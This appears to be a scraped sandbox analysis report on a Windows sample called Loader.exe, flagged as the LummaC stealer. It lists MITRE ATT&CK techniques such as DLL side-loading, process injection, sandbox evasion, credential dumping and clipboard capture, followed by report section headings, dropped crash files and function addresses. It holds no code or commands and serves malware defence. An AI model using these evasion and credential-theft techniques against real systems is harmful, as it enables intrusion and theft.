Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Loader.exe_c7a3467ff146dec763c4e9c0d4fd160ce4dc047_60ff00a2_056041d2-9a2e-40bb-a2c3-e67806116ccf\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4047.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4569.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4599.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
Loader.exe

Function 004329A0 Relevance: 28.7, APIs: 11, Strings: 5, Instructions: 687
memorycomCOMMON

Function 00420900 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 371
COMMON

Function 0041ED80 Relevance: 16.9, Strings: 13, Instructions: 674
COMMON

Function 00410217 Relevance: 10.7, Strings: 8, Instructions: 717
COMMON

Function 00427F1F Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 407
COMMON

Function 00427F18 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 443
COMMON

Function 00408C30 Relevance: 6.1, APIs: 4, Instructions: 138
threadCOMMON

Function 00428819 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 317
COMMON

Function 00435120 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
memoryCOMMON

Function 009B003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 009B0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON